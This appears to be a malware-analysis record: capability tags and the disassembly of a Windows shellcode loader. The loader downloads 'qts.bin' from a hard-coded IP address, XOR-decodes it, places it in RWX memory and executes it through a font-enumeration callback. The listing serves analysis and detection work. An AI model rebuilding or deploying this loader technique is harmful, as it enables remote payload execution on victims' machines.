Function at 0x1400011a0
Capabilities:
Allocate or change rwx memory
Create http request
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
xor esi, esi
mov edi, esi
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_119.0.0.0_Safari_537.36_Edg_119.0.0.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
je 0x140001301
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__43.134.99.186_qts.bin
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x1400012d3
mov dword [rsp + 0x30], esi
nop
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001297
mov r9d, dword [rsp + 0x30]
lea r8, [rbp - 0x50]
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x38]
call fcn.140001760
cmp dword [rsp + 0x30], 0
ja 0x140001240
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, qword [rsp + 0x48]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001324
lea rdx, str.Failed_to_read_file_content
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400014e0
mov rcx, rax
lea rdx, [0x1400016b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, qword [rsp + 0x48]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001324
lea rdx, str.Failed_to_open_URL
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400014e0
mov rcx, rax
lea rdx, [0x1400016b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001324
lea rdx, str.Failed_to_initialize_WinInet
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400014e0
mov rcx, rax
lea rdx, [0x1400016b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, esi
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
sub r14, rbx
je 0x14000134d
mov rcx, rsi
nop dword [rax + rax]
xor byte [rcx + rbx], 0x19
inc eax
mov ecx, eax
cmp rcx, r14
jb 0x140001340
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r14
xor ecx, ecx
call rax
mov r15, rax
test rax, rax
jne 0x1400013ae
lea rdx, str.Failed_to_allocate_memory
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400014e0
mov rcx, rax
lea rdx, [0x1400016b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea esi, [r15 + 1]
jmp 0x14000140a
mov r8, r14
mov rdx, rbx
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rcx
mov dword [rbp - 0x58], ecx
mov byte [rsp + 0x67], 1
mov word [rsp + 0x6c], si
mov dword [rsp + 0x20], esi
xor r9d, r9d
mov r8, r15
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.GDI32.dll_EnumFontFamiliesExW]
nop
test rbx, rbx
je 0x140001445
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x14000143a
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000143a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rbx
call fcn.140001a2c
mov eax, esi
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.1400019d0
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret